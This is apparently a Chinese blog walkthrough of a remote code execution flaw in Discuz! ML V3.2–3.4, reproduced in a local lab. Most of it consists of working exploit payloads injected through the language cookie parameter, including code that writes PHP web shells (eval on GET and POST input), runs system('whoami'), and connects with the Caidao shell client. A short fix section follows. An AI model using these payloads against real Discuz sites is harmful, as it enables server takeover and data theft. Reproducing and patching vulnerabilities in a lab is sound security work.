0x00 Discuz简介
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区。
0x01 影响版本
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
0x02 环境搭建
phpstudy(php-7.2.10-nts Apache)
Discuz 3.4 源码(官网下载:http://discuz.ml/download 之后将源码解压到根目录 /WWW)
0x03 漏洞复现
右上角语言标识,随便选择一种语言并抓包
将抓到的包发送到repeater模块
将包中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,得到了phpinfo信息,如下图:
Getshell exp:
解码后:
'. file_put_contents('shell.php',urldecode('%3c%3fphp %20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
解码前:
'. file_put_contents('shell.php',urldecode('') 将包中的xxxxx_language参数值改为解码后的exp,可以看到成功执行了代码,在文件夹中多出了shell.php文件, 如下图
查看文件upload
url后加shell.php?cmd=system('whoami');
url:http://127.0.0.1/discuz/upload/shell.php?cmd=system('whoami');
直接执行了whoami命令 Exp:
'. file_put_contents('shelll.php',urldecode('%3c%3fphp %20eval(%24_%50%4f%53%54%5b%22a1%22%5d)%3b%3f%3e')).'
原语句:<?php eval($_POST["a1"]);?>
将包中cookie的xxxxx_language参数值改为exp,可以看到成功执行了代码,在文件夹中多出了shelll.php文件,
如下图
访问执行shelll.php
执行后使用菜刀连接
0x04 修复建议
(1)修改source/function/function_core.php 644行为:
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ?
STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_',
$file).'.tpl.php';
(2)删除可控变量。
(3)或者安装最新补丁。
感觉博主写的不错的,右边赞赏点一点,嘿嘿→_→
小白一枚!
谢谢观看!